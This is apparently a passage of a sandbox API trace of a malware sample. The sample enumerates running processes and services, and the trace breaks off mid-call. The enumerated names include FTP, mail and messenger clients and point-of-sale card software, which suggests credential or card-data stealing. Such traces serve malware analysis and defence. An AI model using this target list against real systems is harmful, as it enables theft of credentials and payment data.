Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0078.204] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0078.205] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0078.205] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0078.205] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0078.206] lstrlenW (lpString="towers world.exe") returned 16 [0078.206] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0078.206] lstrlenW (lpString="coaching indian.exe") returned 19 [0078.206] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0078.207] lstrlenW (lpString="goal assumed.exe") returned 16 [0078.207] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0078.208] lstrlenW (lpString="3dftp.exe") returned 9 [0078.208] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0078.209] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0078.209] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0078.210] lstrlenW (lpString="alftp.exe") returned 9 [0078.210] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0078.211] lstrlenW (lpString="barca.exe") returned 9 [0078.211] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0078.212] lstrlenW (lpString="bitkinex.exe") returned 12 [0078.212] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0078.212] lstrlenW (lpString="coreftp.exe") returned 11 [0078.212] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0078.582] lstrlenW (lpString="far.exe") returned 7 [0078.604] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0078.605] lstrlenW (lpString="filezilla.exe") returned 13 [0078.605] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0078.606] lstrlenW (lpString="flashfxp.exe") returned 12 [0078.606] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0078.607] lstrlenW (lpString="fling.exe") returned 9 [0078.607] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0078.608] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0078.608] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0078.609] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0078.609] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0078.610] lstrlenW (lpString="icq.exe") returned 7 [0078.610] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0078.611] lstrlenW (lpString="leechftp.exe") returned 12 [0078.611] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0078.612] lstrlenW (lpString="ncftp.exe") returned 9 [0078.612] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0078.612] lstrlenW (lpString="notepad.exe") returned 11 [0078.613] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0078.613] lstrlenW (lpString="operamail.exe") returned 13 [0078.613] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0078.614] lstrlenW (lpString="pidgin.exe") returned 10 [0078.614] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0078.615] lstrlenW (lpString="scriptftp.exe") returned 13 [0078.615] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0078.616] lstrlenW (lpString="skype.exe") returned 9 [0078.616] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0078.617] lstrlenW (lpString="smartftp.exe") returned 12 [0078.617] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0078.618] lstrlenW (lpString="thunderbird.exe") returned 15 [0078.618] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0078.618] lstrlenW (lpString="totalcmd.exe") returned 12 [0078.619] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0078.630] lstrlenW (lpString="trillian.exe") returned 12 [0078.630] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0078.631] lstrlenW (lpString="webdrive.exe") returned 12 [0078.631] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0078.632] lstrlenW (lpString="whatsapp.exe") returned 12 [0078.632] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0078.632] lstrlenW (lpString="winscp.exe") returned 10 [0078.632] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0078.633] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0078.633] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0078.634] lstrlenW (lpString="active-charge.exe") returned 17 [0078.634] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0078.635] lstrlenW (lpString="accupos.exe") returned 11 [0078.635] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0078.636] lstrlenW (lpString="afr38.exe") returned 9 [0078.636] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0078.636] lstrlenW (lpString="aldelo.exe") returned 10 [0078.636] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0078.637] lstrlenW (lpString="ccv_server.exe") returned 14 [0078.637] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0078.638] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0078.638] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0078.639] lstrlenW (lpString="creditservice.exe") returned 17 [0078.639] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0078.640] lstrlenW (lpString="edcsvr.exe") returned 10 [0078.640] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0078.640] lstrlenW (lpString="fpos.exe") returned 8 [0078.640] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0078.641] lstrlenW (lpString="isspos.exe") returned 10 [0078.641] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0078.642] lstrlenW (lpString="mxslipstream.exe") returned 16 [0078.642] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0078.642] lstrlenW (lpString="omnipos.exe") returned 11 [0078.643] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0078.643] lstrlenW (lpString="spcwin.exe") returned 10 [0078.643] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0078.644] lstrlenW (lpString="spgagentservice.exe") returned 19 [0078.644] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0078.645] lstrlenW (lpString="utg2.exe") returned 8 [0078.645] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0078.645] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0078.645] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0078.646] lstrlenW (lpString="glow be.exe") returned 11 [0078.646] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0078.647] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0078.647] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0078.647] lstrlenW (lpString="contains roles was.exe") returned 22 [0078.647] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.648] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.648] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0078.649] lstrlenW (lpString="taskhostw.exe") returned 13 [0078.649] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0078.649] lstrlenW (lpString="taskhostw.exe") returned 13 [0078.649] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0078.650] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0078.650] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0079.003] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0079.003] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0079.004] lstrlenW (lpString="UsoClient.exe") returned 13 [0079.004] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0079.004] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0079.004] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0079.005] lstrlenW (lpString="conhost.exe") returned 11 [0079.005] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0079.006] lstrlenW (lpString="conhost.exe") returned 11 [0079.006] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.006] lstrlenW (lpString="svchost.exe") returned 11 [0079.006] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0079.007] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0079.007] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.008] lstrlenW (lpString="svchost.exe") returned 11 [0079.008] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0079.008] lstrlenW (lpString="cmd.exe") returned 7 [0079.008] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0079.009] lstrlenW (lpString="conhost.exe") returned 11 [0079.009] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0079.009] CloseHandle (hObject=0x2c4) returned 1 [0079.009] Sleep (dwMilliseconds=0x1f4) [0079.613] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4cef18 [0079.614] EnumServicesStatusExW (in: hSCManager=0x4cef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0079.615] GetLastError () returned 0xea [0079.615] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x4f3b70 [0079.615] EnumServicesStatusExW (in: hSCManager=0x4cef18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f3b70, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, 